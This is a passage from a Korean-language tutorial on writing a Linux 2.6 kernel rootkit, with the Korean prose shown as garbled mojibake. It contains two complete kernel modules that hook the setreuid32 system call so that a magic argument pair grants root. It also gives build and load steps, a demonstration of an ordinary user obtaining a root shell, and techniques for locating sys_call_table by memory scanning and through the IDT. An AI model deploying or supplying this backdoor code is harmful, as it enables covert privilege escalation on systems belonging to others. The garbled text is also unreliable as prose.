ÇÁ·Î±×·¥À¸·Î, ¼Ò½º Äڵ忡 ´ëÇÑ ¼³¸íÀº ÁÖ¼®À¸·Î ´ëüÇÏ°Ú½À´Ï´Ù. =- hkm_sysmap.c -= #include #include #include #include #include #include #include #include #include void **sys_call_table = (void **)0xc035babc; // System.map¿¡¼­ ±¸ÇÑ ½Ã½ºÅÛ ÄÝ ÁÖ¼Ò asmlinkage int (*orig_setreuid)( uid_t ruid, uid_t euid ); // ¿øº» setreuid() ½Ã½ºÅÛ ÄÝ ÁÖ¼Ò¸¦ °¡¸®Å°±â À§ÇÑ ÇÔ¼ö Æ÷ÀÎÅÍ asmlinkage int hk_setreuid( uid_t ruid, uid_t euid ) // setreuid() ½Ã½ºÅÛ ÄÝÀ» ´ë½ÅÇÒ »ç¿ëÀÚ ÇÔ¼ö { if( (ruid == 7310) && (euid == 0137) ) // setreuid() ½Ã½ºÅÛ ÄÝÀÇ ÀÎÀÚÀÎ ruid¿Í euid°¡ °¢°¢ 7310, 0137 ÀÎÁö üũ { printk( KERN_ALERT "[Correct]\n" ); current -> uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; // ÇöÀç ÇÁ·Î¼¼½ºÀÇ ¸ðµç ±ÇÇÑÀ» root·Î º¯°æ return orig_setreuid( 0 , 0 ); // setreuid( 0 , 0 ); È£Ãâ } return orig_setreuid( ruid , euid ); // if¹® Á¶°Ç¿¡ ¸¸Á·ÇÏÁö ¾ÊÀ» °æ¿ì ¿ø·¡ ½Ã½ºÅÛ ÄÝ ¼öÇà } int __init hk_init( void ) { orig_setreuid = sys_call_table[__NR_setreuid32]; // 32bit ¿î¿µÃ¼Á¦¿¡¼­´Â setreuid32() ½Ã½ºÅÛ ÄÝÀÌ È£ÃâÇϱ⠶§¹®¿¡ // orig_setreuid ÇÔ¼ö Æ÷ÀÎÅÍ°¡ setreuid32() ½Ã½ºÅÛ ÄÝÀ» °¡¸®Å°µµ·Ï ÁöÁ¤. sys_call_table[__NR_setreuid32] = hk_setreuid; // setreuid32() ½Ã½ºÅÛ ÄÝÀ» ¿ì¸®°¡ ÀÛ¼ºÇÑ hk_setreuid() ÇÔ¼ö·Î ´ëü printk( KERN_ALERT "Module init\n" ); return 0; } void __exit hk_exit( void ) { sys_call_table[__NR_setreuid32] = orig_setreuid; // setreuid32() ½Ã½ºÅÛ ÄÝÀ» ¿øº» ÁÖ¼Ò·Î º¹±¸ printk( KERN_ALERT "Module exit\n" ); } module_init( hk_init ); // ÃʱâÈ­ ÇÔ¼ö ½ÇÇà module_exit( hk_exit ); // Á¾·á ÇÔ¼ö ½ÇÇà MODULE_LICENSE( "GPL" ); // GPL ¶óÀ̼¾½º =- End Of Code -= kernel 2.4.14 ÀÌÈÄ ¹öÀüÀº ±âÁ¸ÀÇ °íÁ¤µÈ ÇÔ¼ö¸íÀÎ init_module(), module_exit() ´ë½Å¿¡ »ç¿ëÀÚ°¡ ÀÓÀÇ·Î ÇÔ¼öÀÇ À̸§À» Á¤ÀÇ ÇÒ ¼ö ÀÖÀ¸¸ç ÀÌ ¶§, Á¤ÀÇ µÈ ÇÔ¼ö´Â °¢°¢ module_init(), module_exit() ¸ÅÅ©·ÎÀÇ ÀÎÀÚ·Î ÁÖ¾î¾ßÇÕ´Ï´Ù. ¿©±â¼­ hk_init(), hk_exit() ÇÔ¼ö¸í ¾Õ¿¡ »ç¿ë µÈ __init, __exit´Â ÇÔ¼öÀÇ ÃʱâÈ­¿Í Á¾·á½Ã¿¡ °¢°¢ init.text, exit.text ¼½¼ÇÀ» »ç¿ëÇϵµ·Ï Áö½ÃÇÏ´Â °ÍÀÌ¸ç °¢ ÇÔ¼ö°¡ ÃʱâÈ­ µÇ°Å³ª Á¾·áµÇ¸é »ý¼ºµÈ ¼½¼ÇÀº ¸Þ¸ð¸®¿¡¼­ Á¦°ÅµË´Ï´Ù. ÀÌ´Â ¸Þ¸ð¸®¸¦ È¿À²ÀûÀ¸·Î °ü¸®Çϱâ À§ÇØ Á¦°øµÇ´Â °ÍÀ¸·Î½á ±»ÀÌ ÇØ´ç ¸ÅÅ©·Î¸¦ »ç¿ëÇÏÁö ¾Ê´Â´Ù°í Çؼ­ Ưº°ÇÑ ¿µÇâÀ» ¹ÌÄ¡´Â°ÍÀº ¾Æ´Õ´Ï´Ù. orig_setreuid(), hk_setreuid() ÇÔ¼ö ¾Õ¿¡ ¼±¾ð µÈ asmlinkage´Â ÇØ´ç ÇÔ¼ö¸¦ ¾î¼Àºí¸® Äڵ忡¼­ È£ÃâÇÒ ¼ö ÀÖµµ·Ï ¸í½ÃÇÏ¿© ÁÖ´Â °ÍÀÔ´Ï´Ù. ÀϹÝÀûÀ¸·Î ¾î¼Àºí¸®¿¡¼­ ÇÔ¼ö°¡ È£Ãâ µÉ ¶§´Â ÀÎÀÚ°¡ ½ºÅÃÀ» ÀÌ¿ëÇÏ¿© Àü´ÞµÇ´Âµ¥, ÄÄÆÄÀÏ·¯°¡ ÃÖÀûÈ­ ÀÛ¾÷ µµÁß¿¡ ÀÎÀÚ °ªÀ» ·¹Áö½ºÅ͸¦ ÅëÇÏ¿© Àü´ÞÇÏ´Â ¹æ½ÄÀ¸·Î º¯°æÇÏ´Â °æ¿ì°¡ ÀÖ½À´Ï´Ù. ÀÌ ¶§, ¸¸¾à Ä¿³Î ³»ºÎ¿¡¼­ ¾î¼Àºí¸®·Î ÇÔ¼ö¸¦ È£ÃâÇÒ °æ¿ì ÄÄÆÄÀÏ·¯°¡ ÇÔ¼ö ÀÎÀÚ Àü´Þ ¹æ½ÄÀ» ·¹Áö½ºÅÍ·Î º¯°æÇÏ¿©µµ ÇØ´ç »ç½ÇÀ» ¾ËÁö ¸øÇÏ°í ¿©ÀüÈ÷ ½ºÅÃÀ» ÅëÇÏ¿© ÀÎÀÚ¸¦ ÁÙ ¼ö Àֱ⠶§¹®¿¡ ¹®Á¦°¡ ¹ß»ýÇÒ ¼ö ÀÖ½À´Ï´Ù. ¸¶Áö¸· MODULE_LICENSE() ¸ÅÅ©·Î´Â ¼Ò½º ÄÚµåÀÇ ¶óÀ̼¾½º¸¦ ¸í½ÃÇÏ´Â ¿ªÇÒÀ» ÇÏ¸ç ¿©±â¼­´Â GPL ¶óÀ̼¾½º¸¦ µû¸£°í ÀÖ½À´Ï´Ù. hkm_sysmap.c¸¦ ÄÄÆÄÀÏ ÇϱâÀ§ÇÑ MakefileÀº ´ÙÀ½°ú °°½À´Ï´Ù. =- Makefile -= obj-m := hkm_sysmap.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules clean: rm -rf *.ko rm -rf *.mod.* rm -rf .*.cmd rm -rf *.o =- End Of Code -= ´ÙÀ½Àº ¸ðµâÀ» ÄÄÆÄÀÏÇÑ µÚ Ä¿³Î¿¡ ·ÎµåÇÏ´Â °úÁ¤ÀÔ´Ï´Ù. Âü°í·Î kernel 2.6.x ºÎÅÍ´Â ¸ðµâ È®ÀåÀÚ°¡ .o¿¡¼­ .ko·Î ¹Ù²î¾ú½À´Ï´Ù. ---------------------------------------------------------------------------- // Ä¿³Î ¸ðµâ ÄÄÆÄÀÏ [root@localhost kernel]# make make -C /lib/modules/2.6.11-1.1369_FC4smp/build SUBDIRS=/root/kernel modules make[1]: Entering directory `/usr/src/kernels/2.6.11-1.1369_FC4-smp-i686' CC [M] /root/kernel/hkm_sysmap.o Building modules, stage 2. MODPOST CC /root/kernel/hkm_sysmap.mod.o LD [M] /root/kernel/hkm_sysmap.ko make[1]: Leaving directory `/usr/src/kernels/2.6.11-1.1369_FC4-smp-i686' // Ä¿³Î ¸ðµâ ·Îµå [root@localhost kernel]# insmod hkm_sysmap.ko ---------------------------------------------------------------------------- ´ÙÀ½Àº hkpco °èÁ¤¿¡¼­ ·çƮŶÀ» Å×½ºÆ® ÇÏ´Â °úÁ¤ÀÔ´Ï´Ù. ------------------------------------------------------------------------------------ [hkpco@localhost ~]$ id uid=500(hkpco) gid=500(hkpco) groups=500(hkpco) context=user_u:system_r:unconfined_t [hkpco@localhost ~]$ cat go.c int main( void ) { setreuid( 7310, 0137 ); system( "/bin/sh" ); } [hkpco@localhost ~]$ gcc -o go go.c [hkpco@localhost ~]$ ./go sh-3.00# id uid=0(root) gid=0(root) groups=500(hkpco) context=user_u:system_r:unconfined_t ------------------------------------------------------------------------------------ ¼º°øÀûÀ¸·Î ·çÆ® ±ÇÇÑÀ» ȹµæÇÑ °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. ¿¹Á¦·Î º¸ÀÎ ·çƮŶ¿¡¼­´Â ƯÁ¤ Á¶°ÇÀ» ¸¸Á·Çϸé "ÇöÀç ÇÁ·Î¼¼½º"ÀÇ ±ÇÇÑÀ» º¯°æ ½ÃÄÑÁÝ´Ï´Ù. setreuid( 7310, 0137 );À» ÅëÇÏ¿© Ä¿³Î ¸ðµâ»óÀÇ Á¶°ÇÀ» ¸¸Á·½ÃÅ°¸é ÇöÀç ÇÁ·Î¼¼½º´Â ·çÆ® ±ÇÇÑÀ» °¡Áö°Ô µÇ°í ÀÌ »óÅ¿¡¼­ system( "/bin/sh" );¸¦ ¼öÇàÇÏ¿© ½©À» ½ÇÇàÇØ¾ß ·çÆ®½©À» ¾òÀ» ¼ö ÀÖ½À´Ï´Ù. ¸¸¾à system("/bin/sh"); ¾ø´Ù¸é ·çÆ® ±ÇÇÑÀ¸·Î º¯°æµÈ ÇöÀç ÇÁ·Î¼¼½º(ÇÁ·Î±×·¥)´Â Á¾·á µÇ°í º¯°æµÈ ±ÇÇÑÀº ¿ø·¡´ë·Î µ¹¾Æ ¿Ã °ÍÀÔ´Ï´Ù. ÇÏÁö¸¸ ÀÌ¿Í °°ÀÌ System.mapÀ» »ç¿ëÇÏ´Â ¹æ¹ýÀº ¹æ¹ýÀÌ °£´ÜÇÑ ´ë½Å À¯Àú ¸ðµå¿¡ ÀÇÁ¸ÀûÀ̸ç System.map¿¡ ÀÖ´Â sys_call_tableÀÇ ÁÖ¼Ò ¶ÇÇÑ kernel 2.6.x ¹öÀü´ë°¡ ¸ðµÎ µ¿ÀÏÇÑ °ÍÀÌ ¾Æ´Ï±â ¶§¹®¿¡ ¹ü¿ë¼ºÀÌ ºÎÁ·ÇÏ´Ù´Â ´ÜÁ¡ÀÌ ÀÖ½À´Ï´Ù. 0x5. Where is the sys_call_table Address - Finding ºñ±³Àû ½¬¿î °³³äÀ¸·Î Ä¿³Î ¿µ¿ªÀÇ ÁÖ¼Ò °ø°£À» °Ë»öÇÏ¿© sys_call_tableÀÇ ÁÖ¼Ò¸¦ Á÷Á¢ ã´Â ¹æ¹ýÀÔ´Ï´Ù. sys_call_table ÁÖ¼Ò °ª ÀÌÀü¿¡ À§Ä¡ÇÑ loops_per_jiffy º¯¼ö¿Í ÁÖ¼Ò °ª ÀÌÈÄ¿¡ À§Ä¡ÇÑ boot_cpu_data ±¸Á¶Ã¼ÀÇ ÁÖ¼Ò »çÀÌ¿¡ sys_call_tableÀÇ ÁÖ¼Ò°¡ À§Ä¡ÇØ Àִ°ÍÀ» ÀÌ¿ëÇÑ °ÍÀÔ´Ï´Ù. System.mapÀ» ÅëÇÏ¿© Á÷Á¢ È®ÀÎÇØ º¸°Ú½À´Ï´Ù. ----------------------------------------------------------------------------------------- [root@localhost kernel]# cat /boot/System.map-2.6.11-1.1369_FC4smp | grep loops_per_jiffy c034594c r __ksymtab_loops_per_jiffy c034ab40 r __kcrctab_loops_per_jiffy c034d45f r __kstrtab_loops_per_jiffy c035b2a8 D loops_per_jiffy c044c6cc b loops_per_jiffy_ref [root@localhost kernel]# cat /boot/System.map-2.6.11-1.1369_FC4smp | grep sys_call_table c035babc D sys_call_table [root@localhost kernel]# cat /boot/System.map-2.6.11-1.1369_FC4smp | grep boot_cpu_data c0345a0c r __ksymtab_boot_cpu_data c034aba0 r __kcrctab_boot_cpu_data c034d61b r __kstrtab_boot_cpu_data c035c100 D boot_cpu_data ----------------------------------------------------------------------------------------- °¢ ÁÖ¼ÒÀÇ Å©±â¸¦ ºÎµî½ÄÀ¸·Î ºñ±³ÇÏ¸é ´ÙÀ½°ú °°½À´Ï´Ù. ------------------------------------------------ loops_per_jiffy < sys_call_table < boot_cpu_data c035b2a8 < c035babc < c035c100 ------------------------------------------------ ÀÌ·¸°Ô sys_call_tableÀÇ ÁÖ¼Ò°¡ loops_per_jiffy¿Í boot_cpu_data »çÀÌ¿¡ ÀÖ´Ù´Â »ç½ÇÀ» ÀÌ¿ëÇÏ¿© sys_call_tableÀÇ ÁÖ¼Ò¸¦ ã´Â Äڵ带 ÃÖ´ëÇÑ °£´ÜÈ÷ ±¸ÇöÇØ º¸¾Ò½À´Ï´Ù. ´ÙÀ½°ú °°½À´Ï´Ù. ---------------------------------------------------------------------------------- static void **find_sys_call_table( void ) { int *ptr; extern int loops_per_jiffy; for( ptr = (int *)&loops_per_jiffy ; ptr < (int *)&boot_cpu_data ; ptr++ ) { if( ptr[6] == (int)sys_close ) return (void **)ptr; } return NULL; } ---------------------------------------------------------------------------------- ÇÏÁö¸¸ ÀÌ ¹æ¹ýÀº ´ÜÁ¡µµ ¸¹ÀÌ Á¸ÀçÇϸç ȯ°æÀÇ º¯È­¿¡ ƯÈ÷ Ãë¾àÇѵ¥ ¿©±â¿¡ ´ëÇؼ­´Â Á¶±Ý µÚ¿¡ ÀÚ¼¼È÷ ¾Ë¾Æº¸µµ·Ï ÇÏ°í ¿ì¼± ÄÚµå ºÐ¼®À» ÇÏ°Ú½À´Ï´Ù. loops_per_jiffy¿Í boot_cpu_dataÀÇ ÁÖ¼Ò »çÀ̸¦ °Ë»öÇÏ¿© ptr[6](sys_call_tableÀÇ 7¹ø° Å×À̺í)ÀÇ ÁÖ¼Ò °ª°ú sys_close ½Éº¼ÀÇ ÁÖ¼Ò °ªÀÌ ÀÏÄ¡Çϸé ÇöÀç ptrÀÌ °¡¸®Å°´Â À§Ä¡¸¦ sys_call_table ÁÖ¼Ò·Î ÆÇ´ÜÇÏ¿© ¹ÝȯÇÏ´Â ¿ø¸®ÀÔ´Ï´Ù. ±»ÀÌ ¿©·¯ ½Éº¼µé Áß sys_close¿Í ºñ±³ÇÏ´Â ÀÌÀ¯´Â sys_call_table¿¡ Á¸ÀçÇÏ´Â ½Éº¼µéÀÌ ¸ðµÎ Ä¿³Î ¸ðµâ¿¡¼­ »ç¿ë °¡´ÉÇϵµ·Ï °ø°³µÇ¾î ÀÖÁö´Â ¾Ê±â ¶§¹®ÀÌ¸ç ¿©·¯ ½Éº¼ Áß °ø°³ µÈ sys_close¸¦ ÀÌ¿ëÇÑ °ÍÀÔ´Ï´Ù. ½ÇÁ¦ sys_call_tableÀº ´ÙÀ½°ú °°Àº ÇüÅ·Π¼±¾ðµÇ¾î ÀÖ½À´Ï´Ù. --------------------------------------- /linux/arch/i386/kernel/syscall_table.S ---------------------------------------------------------------------------------------------------- 1 | ENTRY(sys_call_table) 2 | .long sys_restart_syscall /* 0 - old "setup()" system call, used for restarting */ 3 | .long sys_exit 4 | .long sys_fork 5 | .long sys_read 6 | .long sys_write 7 | .long sys_open /* 5 */ 8 | .long sys_close 9 | .long sys_waitpid 10 | .long sys_creat . . . 321| .long sys_epoll_pwait 322| .long sys_utimensat /* 320 */ 323| .long sys_signalfd 324| .long sys_timerfd 325| .long sys_eventfd 326| .long sys_fallocate ---------------------------------------------------------------------------------------------------- sys_call_table¿¡ ÀÖ´Â ¸ðµç ½Éº¼ÀÌ °ø°³µÇ¾î Àִ°ÍÀº ¾Æ´Ï±â ¶§¹®¿¡ ±× Áß °ø°³µÈ ½Éº¼ÀÎ sys_closeÀ» »ç¿ëÇÏ¿´´Ù°í ¾ð±ÞÇÏ¿´´Âµ¥ ¸¸¾à Ä¿³Î ¹öÀüÀÌ ¾÷±×·¹ÀÌµå µÇ¸é¼­ sys_close ¸¶Àú °ø°³µÇÁö ¾Ê´Â´Ù¸é ¶Ç ´Ù¸¥ °ø°³ ½Éº¼À» ã¾Æ¼­ ºñ±³ÇØ¾ß ÇÕ´Ï´Ù. ±×¸®°í ƯÁ¤ Ä¿³Î ¹öÀü¿¡¼­´Â ½Éº¼ÀÇ ÁÖ¼Ò °ª ¼ø¼­°¡ ´Ù¸¦ ¼ö Àֱ⠶§¹®¿¡ sys_call_tableÀÌ loops_per_jiffy¿Í boot_cpu_dataÀÇ ÁÖ¼Ò °ª »çÀÌ¿¡ À§Ä¡ÇÏÁö ¾ÊÀ»¼öµµ ÀÖ½À´Ï´Ù. ±× ¶§´Â ½Ã½ºÅÛÀÇ System.mapÀ» Âü°íÇÏ¿© sys_call_tableÀÇ ÀüÈÄ¿¡ À§Ä¡ÇÑ °ø°³ ½Éº¼ÀÇ ÁÖ¼Ò °ªÀ» ´Ù½Ã ãÀº ´ÙÀ½ Äڵ带 À籸¼º ÇؾßÇÕ´Ï´Ù. ¾Æ¹«Æ° ÀÌ·¯ÇÑ ¿ø¸®·Î Á¦ÀÛµÈ ¼Ò½º Äڵ带 Å×½ºÆ® ÇØ º¸°Ú½À´Ï´Ù. =- finding.c -= #include #include #include #include #include #include #include #include void **sys_call_table; asmlinkage int (*orig_setreuid)( uid_t ruid, uid_t euid ); asmlinkage int hk_setreuid( uid_t ruid, uid_t euid ) { if( (ruid == 7310) && (euid == 0137) ) { printk( KERN_ALERT "[Correct]\n" ); current -> uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; return orig_setreuid( 0 , 0 ); } return orig_setreuid( ruid , euid ); } static void **find_sys_call_table( void ) { int *ptr; extern int loops_per_jiffy; for( ptr = (int *)&loops_per_jiffy ; ptr < (int *)&boot_cpu_data ; ptr++ ) { if( ptr[6] == (int)sys_close ) return (void **)ptr; } return NULL; } int __init hk_init( void ) { sys_call_table = (void **)find_sys_call_table(); // find_sys_call_table() ÇÔ¼öÀÇ ¸®ÅÏ °ªÀÎ sys_call_tableÀÇ ÁÖ¼Ò¸¦ ÀúÀå orig_setreuid = sys_call_table[__NR_setreuid32]; sys_call_table[__NR_setreuid32] = hk_setreuid; printk( KERN_ALERT "Module init\n" ); return 0; } void __exit hk_exit( void ) { sys_call_table[__NR_setreuid32] = orig_setreuid; printk( KERN_ALERT "Module exit\n" ); } module_init( hk_init ); module_exit( hk_exit ); MODULE_LICENSE( "GPL" ); =- End Of Code -= ´ÙÀ½Àº ¼Ò½º Äڵ带 ÄÄÆÄÀÏ ÇϱâÀ§ÇÑ Makefile ÀÔ´Ï´Ù. =- Makefile -= obj-m := finding.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules clean: rm -rf *.ko rm -rf *.mod.* rm -rf .*.cmd rm -rf *.o =- End Of Code -= ´ÙÀ½Àº ¸ðµâÀ» ÄÄÆÄÀÏÇÑ µÚ Ä¿³Î¿¡ ·ÎµåÇÏ´Â °úÁ¤ÀÔ´Ï´Ù. ---------------------------------------------------------------------------- [root@localhost kernel]# make make -C /lib/modules/2.6.11-1.1369_FC4smp/build SUBDIRS=/root/kernel modules make[1]: Entering directory `/usr/src/kernels/2.6.11-1.1369_FC4-smp-i686' CC [M] /root/kernel/finding.o Building modules, stage 2. MODPOST CC /root/kernel/finding.mod.o LD [M] /root/kernel/finding.ko make[1]: Leaving directory `/usr/src/kernels/2.6.11-1.1369_FC4-smp-i686' [root@localhost kernel]# insmod finding.ko ---------------------------------------------------------------------------- ¸¶Áö¸·À¸·Î hkpco °èÁ¤¿¡¼­ ·çƮŶÀÌ Á¤»ó ÀÛµ¿ÇÏ´ÂÁö Å×½ºÆ® Çغ¸°Ú½À´Ï´Ù. ------------------------------------------------------------------------------------ [hkpco@localhost hkpco]$ id uid=500(hkpco) gid=500(hkpco) groups=500(hkpco) context=user_u:system_r:unconfined_t [hkpco@localhost hkpco]$ cat go.c int main( void ) { setreuid( 7310 , 0137 ); system( "/bin/sh" ); } [hkpco@localhost hkpco]$ ./go sh-3.00# id uid=0(root) gid=0(root) groups=500(hkpco) context=user_u:system_r:unconfined_t ------------------------------------------------------------------------------------ À̹ø Àå¿¡¼­ ¼Ò°³ÇÑ sys_call_tableÀÇ ÁÖ¼Ò¸¦ Á÷Á¢ ã´Â ¹æ¹ýÀº ÄÚµå¿Í ¿ø¸®°¡ °£´ÜÇÏ´Ù´Â ÀåÁ¡¿¡ ºñÇؼ­ ½Ã½ºÅÛ¿¡ »ó´çÈ÷ ÀÇÁ¸ÀûÀÎ ´ÜÁ¡ÀÌ ÀÖ½À´Ï´Ù. ´ÙÀ½ Àå¿¡¼­´Â ÀÌ·¯ÇÑ ¹®Á¦Á¡µéÀ» ÇØ°áÇÑ Á¶±Ý ´õ ¹ü¿ëÀûÀÌ°í ¼¼·Ã µÈ ±â¼ú¿¡ ´ëÇÏ¿© ¾Ë¾Æ º¸°Ú½À´Ï´Ù. 0x6. Where is the sys_call_table Address - IDT ½Ã½ºÅÛ ÄÝÀÌ È£ÃâµÉ ¶§ IDT tableÀÇ 0x80(128)¹ø°¿¡ À§Ä¡ÇÑ ÀÎÅÍ·´Æ® ÇÔ¼öÀÎ system_call()ÀÇ ³»ºÎ¿¡¼­ sys_call_tableÀ» »ç¿ëÇÏ´Â ¿ø¸®¸¦ ÀÌ¿ëÇÏ¿© ÁÖ¼Ò °ªÀ» ã´Â ¹æ¹ýÀÔ´Ï´Ù. Áö±Ý±îÁö ¼Ò°³Çß´ø ±â¼úµé º¸´Ù´Â ºñ±³Àû º¹ÀâÇÒ ¼ö ÀÖÁö¸¸ ÇöÀç±îÁö´Â °¡Àå ¹ü¿ëÀûÀÎ ¹æ¹ýÀ̸ç Çϳª¾¿ ºÐ¼®ÇØ º¸¸é ±×¸® ¾î·ÆÁö ¾Ê½À´Ï´Ù. ´ÙÀ½Àº ½Ã½ºÅÛ ÄÝÀ» »ç¿ëÇÏ¿´À» ¶§ Ä¿³Î ³»ºÎ¿¡¼­ È£ÃâµÇ´Â system_call() ÇÔ¼ö ·çƾÀÇ ÀϺÎÀÔ´Ï´Ù. ------------------------------ linux/arch/i386/kernel/entry.S ------------------------------------------------------------------------------------------------ 364| ENTRY(system_call) 365| RING0_INT_FRAME # can't unwind into user space anyway 366| pushl %eax # save orig_eax 367| CFI_ADJUST_CFA_OFFSET 4 368| SAVE_ALL 369| GET_THREAD_INFO(%ebp) 370| # system call tracing in operation / emulation 371| /* Note, _TIF_SECCOMP is bit number 8, and so it needs testw and not testb */ 372| testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp) 373| jnz syscall_trace_entry 374| cmpl $(nr_syscalls), %eax 375| jae syscall_badsys 376| syscall_call: 377| call *sys_call_table(,%eax,4) 378| movl %eax,PT_EAX(%esp) # store the return value . . . ------------------------------------------------------------------------------------------------ À§¿Í °°Àº system_call()ÀÇ ·çƾ Áß 377¹ø° ¶óÀο¡¼­ »ç¿ëÀÚ°¡ È£ÃâÇÑ ½Ã½ºÅÛ ÄÝÀ» ¼öÇàÇϱâ À§ÇØ sys_call_tableÀ» ÂüÁ¶ Çϴ°ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. ¿©±â¼­ »ç¿ëµÇ´Â sys_call_tableÀÇ ÁÖ¼Ò¸¦ ãÀ» °ÍÀ̸ç À̸¦ À§ÇØ ¼öÇàÇØ¾ß µÇ´Â ¼ø¼­´Â ´ÙÀ½°ú °°½À´Ï´Ù. ----------------------------------------------------------------------------- 1. IDT tableÀÇ baseÁÖ¼Ò¸¦ ¾òÀ½ 2. IDT table¿¡¼­ 0x80¹ø°¿¡ ÇØ´çÇÏ´Â system_call()ÀÇ ÁÖ¼Ò¸¦ ±¸ÇÔ 3. system_call()ÀÇ ½ÃÀÛºÎÅÍ ÁÖ¼Ò °ªÀ» Áõ°¡½ÃÅ°¸ç ƯÁ¤ ±â°è¾î ÄÚµå ÆÐÅÏ°ú ºñ±³ 4. ºñ±³ °ªÀÌ ÀÏÄ¡Çϸé sys_call_table ÁÖ¼Ò ÀúÀå, ±×·¸Áö ¾ÊÀ¸¸é 3¹ø °úÁ¤ Àç¼öÇà ----------------------------------------------------------------------------- À§ °úÁ¤ Áß Ã¹ ¹ø° ÀÛ¾÷¿¡ ÇØ´çÇÏ´Â ÄÚµå´Â ´ÙÀ½°ú °°½À´Ï´Ù. -------------------------------- struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; asm( "sidt %0" : "=m"(idtr) ); -------------------------------- idtr ±¸Á¶Ã¼¸¦ ¾ò¾î¿À´Â sidt ¸í·ÉÀ» ÅëÇÏ¿© ¿ì¸®°¡ ¼±¾ðÇÑ idtr ±¸Á¶Ã¼¿¡ ÀúÀåÇÕ´Ï´Ù. ±¸Á¶Ã¼ÀÇ limit º¯¼ö´Â IDT tableÀÇ Å©±â¸¦ ´ã°íÀÖÀ¸¸ç base º¯¼ö´Â IDT tableÀÇ ½ÃÀÛ ÁÖ¼Ò¸¦ °¡¸®Å°°í ÀÖ½À´Ï´Ù. ¿©±â¼­ ¿ì¸®°¡ ÇÊ¿ä·Î ÇÏ´Â °ÍÀº base ÇʵåÀÔ´Ï´Ù. °è¼ÓÇؼ­ ´ÙÀ½ Äڵ带 »ìÆ캸°Ú½À´Ï´Ù. ------------------------------------------------ unsigned int sys_offset; struct idt_gate { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) *idt; idt = (struct idt_gate *)( idtr.base + 0x80*8 ); ------------------------------------------------ sidt ¸í·ÉÀ¸·Î ±¸Çß´ø idtr ±¸Á¶Ã¼ÀÇ base °ª¿¡¼­ 0x80*8À» ´õÇÑ °ªÀ» idt_gate ±¸Á¶Ã¼°¡ °¡¸®Å°µµ·Ï Çϸç, ÀÌ ¶§ ÇØ´ç ÁÖ¼Ò °ªÀ» idt_gate ±¸Á¶Ã¼ ÇüÀ¸·Î ij½ºÆà ÇÏ¿©ÁÝ´Ï´Ù. ÀÌ´Â IDT tableÀÇ system_call() ÇÔ¼ö ÁÖ¼Ò¸¦ ±¸Çϱâ À§ÇÑ ÄÚµåÀε¥ IDT tableÀÇ ½ÃÀÛ ÁÖ¼ÒÀÎ base °ª¿¡¼­ ÇØ´ç ÇÔ¼öÀÇ À§Ä¡¸¦ °¡¸®Å°±â À§ÇÏ¿© 0x80*8À» ´õÇÏ¿© ÁÝ´Ï´Ù. ¿©±â¼­ *8À» ÇÑ ÀÌÀ¯´Â IDT table ÇϳªÀÇ Å©±â°¡ 8byte À̱⠶§¹®ÀÔ´Ï´Ù. À̸¦ È®ÀÎÇϱâ À§ÇØ ´ÙÀ½°ú °°ÀÌ IDT tableÀÇ ¼±¾ð ºÎºÐÀ» »ìÆ캸°Ú½À´Ï´Ù. ------------------------------ linux/arch/i386/kernel/traps.c ------------------------------------------------------------------------------------------ struct desc_struct idt_table[256] __attribute__((__section__(".data.idt"))) = { {0, 0}, }; ------------------------------------------------------------------------------------------ ¿©±â¼­ desc_struct´Â ¾î¶»°Ô Á¤ÀǵǾî ÀÖ´ÂÁö, ½ÇÁ¦·Î 8byteÀÎÁö »ìÆ캸°Ú½À´Ï´Ù. ---------------------------------- linux/include/asm-i386/processor.h ---------------------------------- 29| struct desc_struct { 30| unsigned long a,b; 31| }; ---------------------------------- À§ ¼±¾ð¿¡¼­ desc_struct ±¸Á¶Ã¼´Â µÎ °³ÀÇ unsigned long º¯¼ö¸¦ Æ÷ÇÔÇÏ°í ÀÖ½À´Ï´Ù. 32bit ½Ã½ºÅÛ¿¡¼­ unsigned long ¼±¾ð Å©±â´Â 4byte¸¦ ÃëÇÏ¸ç ±¸Á¶Ã¼°¡ ÀÌ º¯¼ö µÎ°³¸¦ Æ÷ÇÔÇÏ°í ÀÖÀ¸¹Ç·Î °á°úÀûÀ¸·Î IDT table ÇϳªÀÇ Å©±â´Â 8byte°¡ µË´Ï´Ù. °è¼ÓÇؼ­ ´ÙÀ½ Äڵ带 º¸°Ú½À´Ï´Ù. ----------------------------------------------- sys_offset = ((idt->off2) << 16) | (idt->off1); ----------------------------------------------- sys_offset¿¡´Â idt ±¸Á¶Ã¼ Æ÷ÀÎÅÍÀÇ ÇÊµå °ª¿¡ ´ëÇÑ ¿¬»ê °á°ú¸¦ ÀúÀåÇÕ´Ï´Ù. off1¿¡´Â system_call() ÁÖ¼Ò °ªÀÇ 0-15 ºñÆ®¿¡ ÇØ´ç ÇÏ´Â °ªÀÌ ÀúÀå µÇ¾îÀÖ°í, off2¿¡´Â system_call() ÁÖ¼Ò °ªÀÇ 16-31 ºñÆ®¿¡ ÇØ´çÇÏ´Â °ªÀÌ ÀúÀåµÇ¾î ÀÖ½À´Ï´Ù. ±×·¡¼­ off2¸¦ ½¬ÇÁÆ® Çؼ­ ¿ÞÂÊÀ¸·Î 16 ºñÆ® À̵¿ÇÑ °ª°ú off1ÀÇ °ªÀ» OR ¿¬»êÇÑ °á°ú°¡ ÃÖÁ¾ÀûÀÎ system_call()ÀÇ ÁÖ¼Ò °ªÀÌ µÇ´Â °ÍÀÔ´Ï´Ù. ´ÙÀ½°ú °°ÀÌ ³ªÅ¸³»¸é ÀÌÇØ°¡ ´õ ½±½À´Ï´Ù. ----------------------------------------------------------- system_call() address = 0xc123abcd 1. off1 = 0xabcd 2. off2 = 0xc123 3. off2 << 16 = 0xc1230000 4. (off2 << 16) | (off1) = 0xc1230000 | 0xabcd = 0xc123abcd ----------------------------------------------------------- 